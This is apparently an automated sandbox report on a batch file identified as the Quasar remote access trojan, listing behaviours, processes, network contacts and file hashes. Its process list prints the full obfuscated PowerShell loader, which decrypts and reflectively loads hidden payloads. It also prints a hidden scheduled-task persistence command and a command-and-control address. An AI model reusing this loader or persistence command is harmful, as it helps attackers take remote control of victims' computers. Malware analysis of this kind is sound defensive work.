Analysis Overview
SHA256
9dbfff66782d04d283175444524dd531827b9e44e606ffcf5c14093f01aceb0b
Threat Level: Known bad
The file Zero.bat was found to be: Known bad.
Malicious Activity Summary
Quasar payload
Quasar RAT
Command and Scripting Interpreter: PowerShell
Blocklisted process makes network request
Looks up external IP address via web service
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Modifies data under HKEY_USERS
Modifies registry class
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-09 12:24
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-09 12:24
Reported
2024-06-09 12:26
Platform
win11-20240419-en
Max time kernel
94s
Max time network
100s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Enumerates physical storage devices
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections | C:\Windows\system32\svchost.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Zero.bat"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yZYTRWMfUpdQsWzRNhgq0mFws977A+StI70yBGRnC+w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5XRuWb4gaWV6nxs5P7YgjQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DjILw=New-Object System.IO.MemoryStream(,$param_var); $TZbgX=New-Object System.IO.MemoryStream; $QZNNR=New-Object System.IO.Compression.GZipStream($DjILw, [IO.Compression.CompressionMode]::Decompress); $QZNNR.CopyTo($TZbgX); $QZNNR.Dispose(); $DjILw.Dispose(); $TZbgX.Dispose(); $TZbgX.ToArray();}function execute_function($param_var,$param2_var){ $CndPg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xOdXP=$CndPg.EntryPoint; $xOdXP.Invoke($null, $param2_var);}$KZmTg = 'C:\Users\Admin\AppData\Local\Temp\Zero.bat';$host.UI.RawUI.WindowTitle = $KZmTg;$KKBtf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($KZmTg).Split([Environment]::NewLine);foreach ($MaKkc in $KKBtf) { if ($MaKkc.StartsWith('XIDLpYhyhveyinwDjrVI')) { $jLMlC=$MaKkc.Substring(20); break; }}$payloads_var=[string[]]$jLMlC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_784_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_784.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_784.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_784.bat" "
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('yZYTRWMfUpdQsWzRNhgq0mFws977A+StI70yBGRnC+w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5XRuWb4gaWV6nxs5P7YgjQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $DjILw=New-Object System.IO.MemoryStream(,$param_var); $TZbgX=New-Object System.IO.MemoryStream; $QZNNR=New-Object System.IO.Compression.GZipStream($DjILw, [IO.Compression.CompressionMode]::Decompress); $QZNNR.CopyTo($TZbgX); $QZNNR.Dispose(); $DjILw.Dispose(); $TZbgX.Dispose(); $TZbgX.ToArray();}function execute_function($param_var,$param2_var){ $CndPg=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xOdXP=$CndPg.EntryPoint; $xOdXP.Invoke($null, $param2_var);}$KZmTg = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_784.bat';$host.UI.RawUI.WindowTitle = $KZmTg;$KKBtf=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($KZmTg).Split([Environment]::NewLine);foreach ($MaKkc in $KKBtf) { if ($MaKkc.StartsWith('XIDLpYhyhveyinwDjrVI')) { $jLMlC=$MaKkc.Substring(20); break; }}$payloads_var=[string[]]$jLMlC.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| DE | 193.161.193.99:61208 | runderscore00-61208.portmap.host | tcp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
Files
memory/3284-0-0x00007FFA7DA33000-0x00007FFA7DA35000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ss5mxmuc.5ti.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3284-9-0x000001AA88740000-0x000001AA88762000-memory.dmp
memory/3284-10-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp
memory/3284-11-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp
memory/3284-12-0x000001AAA0840000-0x000001AAA0886000-memory.dmp
memory/3284-13-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp
memory/3284-14-0x000001AAA07F0000-0x000001AAA07F8000-memory.dmp
memory/3284-15-0x000001AAA0AF0000-0x000001AAA0B60000-memory.dmp
memory/1632-25-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp
memory/1632-26-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp
memory/1632-27-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp
memory/1632-30-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_784.vbs
| MD5 | a020ab46f721b2eada27ae3765ec417e |
| SHA1 | ff18ae7087576d40a9c4d0551d7d71ee5d58d81c |
| SHA256 | 9074fef96fd6cc69bf68ee2dd64b5f303f26e8c687a4c5cc2f016ecbceab0824 |
| SHA512 | e8b02674c0cfcb0ef9ce64b4d7cd6d6a3c4949b3c0a47d7b4e8d702c4889dae0f43b832b7a6f45204d318a250d51b6fa9efb679c542f3f2c78529fc2bdfaa062 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | df472dcddb36aa24247f8c8d8a517bd7 |
| SHA1 | 6f54967355e507294cbc86662a6fbeedac9d7030 |
| SHA256 | e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6 |
| SHA512 | 06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca |
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_784.bat
| MD5 | 2ff26433125b6ce77afd2a59f74bae89 |
| SHA1 | 2f5847389b977507d179ecd60cbc8590da60c5d0 |
| SHA256 | 9dbfff66782d04d283175444524dd531827b9e44e606ffcf5c14093f01aceb0b |
| SHA512 | b3764ca03df52012050b616c89d874909c0784eeb01c3013b7c6cd4c7b3c34372089de2f8942055144b5c08b830506d615d7210abf1e60beef23fe161505910d |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | 3ec0d76d886b2f4b9f1e3da7ce9e2cd7 |
| SHA1 | 68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea |
| SHA256 | 214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5 |
| SHA512 | a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6 |
memory/3300-47-0x0000000005A40000-0x0000000005A6A000-memory.dmp
memory/3144-96-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/3300-97-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/1324-95-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/1420-101-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/2448-100-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/4560-104-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/1516-103-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/1080-98-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/612-110-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/2164-99-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/1804-109-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/1796-108-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/4392-107-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/1920-105-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/1368-106-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/1140-102-0x00007FFA5E9B0000-0x00007FFA5E9C0000-memory.dmp
memory/2796-143-0x000002317B890000-0x000002317B8EE000-memory.dmp
memory/3284-144-0x00007FFA7DA30000-0x00007FFA7E4F2000-memory.dmp
memory/2796-145-0x000002317BD10000-0x000002317BD22000-memory.dmp
memory/2796-146-0x000002317BD70000-0x000002317BDAC000-memory.dmp